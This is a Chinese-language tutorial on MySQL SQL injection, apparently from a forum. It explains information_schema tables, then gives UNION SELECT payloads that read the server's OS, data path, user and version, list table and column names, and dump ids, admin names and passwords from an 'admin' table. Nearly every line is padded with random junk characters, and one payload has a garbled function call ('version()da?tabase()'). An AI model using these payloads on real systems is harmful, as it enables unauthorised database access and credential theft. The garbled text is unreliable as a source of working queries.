本文介绍MYSQL盲注的一些语句和方法
0 _7 a/ L7 E- x3 O* _- V L% s
' R; j0 p9 Q8 B- u1 d* n学习盲注前先了解下 IFORMATION_SCHEMA 库
9 A5 A' W$ l% u. F+ i
1 A" _+ x$ l' n! }Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
U5 ^5 t& h4 T* U+ n存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。2 k; e. V* t% |! K- r" p% l
1.得到所有数据库名:( f. Y, {6 u) u" t* N7 t
|SCHEMATA ->存储数据库名的表
: ^8 w4 |) a) N) k% i' W|---字段:SCHEMA_NAME ->数据库名称
: k# V: x, S1 G' `* ]% l1 @
$ g2 @ z! r8 \- f) M, B3 Q|TABLES ->存储表名- N' w# n' a( q7 N5 H% z% |
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
5 Q1 `! N: G' h8 l& ~|---字段:TABLE_NAME ->存储表的表名
) M3 N4 E1 E. Z+ @) L3 t; Q: Z: i2 M! H: X- a. Q( n
|COLUMNS ->存储的字段名表5 ?! _9 M' e5 f* N2 c2 o" B1 y% K' K1 ^
|---字段:TABLE_SCHEMA ->该字段所属数据库名
6 x& O) i: T- `+ {0 ^( L|---字段:TABLE_NAME ->存储所属表的名称- y; h9 b) x* H. \& ^6 U! P
+ Y! u* Q* H% Y" X
|---字段:COLUMN_NAME ->该字段的名称) r# O8 T4 S; K/ ]. I
% _* L: M$ C- r& R3 q" b/ m
b/ @1 O! p- @" Q( f8 N3 S" ?
l( s/ S5 y; x2 @2 L% Y###########################################################################3 l5 m. q2 i; E; Q
0 q _# h5 Z; g. z
0x001 获取系统信息:" _' X; P, o% ?% Q( f( ^9 O
* G/ b5 Q% U; f G/ {( s1 dunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*' A9 M" E# E% C# K
' y2 A4 B& U& A& W3 K/*/ }: m1 C* X f5 K! H9 l+ i$ A+ s
0 C- w* g1 `6 v) s0 ^
@@global.version_compile_os 获取系统版本
F* Y" v0 H0 K8 g8 [6 d- F& |0 V7 _ m* Q1 K, G
@@datadir 数据库路径0 Q) M, g' T& `; ^6 F5 a
database() 当前数据库名称
" q ~ Z/ V9 C0x3c62723e 换行HEX值' Z; ]0 E) i3 N! n7 j
, `- V$ x! `/ _; \! v+ Y4 f) u9 b
*/$ }6 W8 M( D' q5 b; K3 f' c3 t' e
! U( ~: h7 h; c2 A K8 }% L
: ]6 c3 ~+ u. n: O j3 k7 ^
# H9 d& c7 S. R# A; `3 v######################################################################
8 V8 d/ h% r. d& j% C5 {- z! B! {( ?+ o
0x002 获取表名: I& \' z& Z: G
% I2 C) S( e! }9 p. R" j; Y/ }' A: N
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
/ @( z9 u( b' B7 _& ~8 Y6 e/ W
5 D& M% e! `3 G/ _
3 p6 G. c0 K1 x' M( H
7 g8 c& g# l- i' a" \/*
; h3 L$ g0 b- d* ~: \* b3 y% E2 K& D* d$ J7 _
0x67617264656e 为当前数据库名
# @2 W8 E! ^( O8 e: t, I, k3 X8 Z* j; v! p$ \0 Y, W+ M" V
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名5 J A! D2 u7 Y n+ w# l Z1 V
3 ]6 ~1 {" c C- E+ |* _! y0 f
*/
; v/ m2 M3 A* x7 V7 `0 D, K
' D; x+ N2 i/ u$ [* p% N######################################################################
' p' A/ T9 U* E k. K- ~- P; H. y9 w1 ?8 i' `# h+ x8 g D
' w2 k; t7 E0 K4 C+ e3 h
/ j% Y2 [" ~& U, E- Z
0x003 获取字段
k# j1 D; t) d W3 p# l) b$ K. w: ^8 O3 S; T4 P( ^. `
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*4 z3 W- H) ~& Y2 T5 Y
c& j- J+ O4 l* p6 m% y4 x/*
5 k! @0 ^) d" m4 | e" ]7 _5 y! x' w0 s5 d! Y; S7 v8 C
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
6 i; H+ B/ f6 J) e8 b
( k0 f* `2 `/ G* F% s2 @0x61646d696e ->选择一个表+ u2 E. W$ } f3 J% U! ?4 d
4 A( [# P9 S" o5 b' Z- L3 O0x67617264656e ->数据库名
* h4 [( L4 n: ` G# t
! x# _) ~. r% T- f*/
, b* `- \& ]6 ~4 ]5 S* V
4 q% d' R w- D( y) Y8 H#####################################################################
4 b7 h9 _0 o5 T9 I2 c' a- ~4 ?# b
{( g, G% v8 K) B5 r
" E6 g5 w9 }8 G! c% l! x- |
& `! j" c$ r4 {& r$ A$ Y( f5 `" [0x004 获取数据
0 |5 I1 ?1 u o. ]
+ C; U* p: W# |union select 1,2,3
8 \, G `2 ]" @) S9 `- n& u,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin4 S0 c# u4 L6 F" S/ \
5 \ O6 W0 P/ f. J$ @% ]
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin: `& c- N' E+ b$ n7 T+ |
& K; y+ ?* w) F$ G$ [2 c# J0 V 6 s+ P& q& X% j+ x8 f
' y: Y6 v& U, d( ~/ D8 K3 j d+ N
/*9 e& v+ B3 T$ c! F! B
7 Z5 |, u* h0 u# o0x3c62723e 换行符号HEX编码* L1 T/ N3 k, ?; ~3 @
# D h7 K% [: U- y
group_concat 同时获得该字段所有数据
( f6 m$ V& N2 i5 {4 D+ `; S3 c* }# U; b) C) R
*/
5 c6 A; D6 Q: b! Z" N- h* h. a# e/ A% Q
|